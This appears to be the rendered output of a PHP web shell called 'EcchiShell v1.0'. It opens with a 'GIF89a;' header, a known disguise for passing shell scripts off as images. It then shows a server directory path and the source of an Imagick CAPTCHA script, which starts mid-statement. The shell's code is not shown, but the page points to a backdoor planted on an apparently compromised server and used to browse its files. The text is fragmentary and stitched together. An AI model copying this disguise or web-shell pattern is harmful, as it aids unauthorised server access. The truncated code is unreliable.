GIF89a;
EcchiShell v1.0
/
/
opt/
remi/
php70/
root/
usr/
share/
setFont( 'Helvetica Regular' );
$ImagickDraw->setFontSize( 20 );
/* Create the text */
$alphanum = 'ABXZRMHTL23456789';
$string = substr( str_shuffle( $alphanum ), 2, 6 );
/* Create new empty image */
$Imagick->newImage( 85, 30, $bg );
/* Write the text on the image */
$Imagick->annotateImage( $ImagickDraw, 4, 20, 0, $string );
/* Add some swirl */
$Imagick->swirlImage( 20 );
/* Create a few random lines */
$ImagickDraw->line( rand( 0, 70 ), rand( 0, 30 ), rand( 0, 70 ), rand( 0, 30 ) );
$ImagickDraw->line( rand( 0, 70 ), rand( 0, 30 ), rand( 0, 70 ), rand( 0, 30 ) );
$ImagickDraw->line( rand( 0, 70 ), rand( 0, 30 ), rand( 0, 70 ), rand( 0, 30 ) );
$ImagickDraw->line( rand( 0, 70 ), rand( 0, 30 ), rand( 0, 70 ), rand( 0, 30 ) );
$ImagickDraw->line( rand( 0, 70 ), rand( 0, 30 ), rand( 0, 70 ), rand( 0, 30 ) );
/* Draw the ImagickDraw object contents to the image. */
$Imagick->drawImage( $ImagickDraw );
/* Give the image a format */
$Imagick->setImageFormat( 'png' );
/* Send headers and output the image */
header( "Content-Type: image/{$Imagick->getImageFormat()}" );
echo $Imagick->getImageBlob( );
?>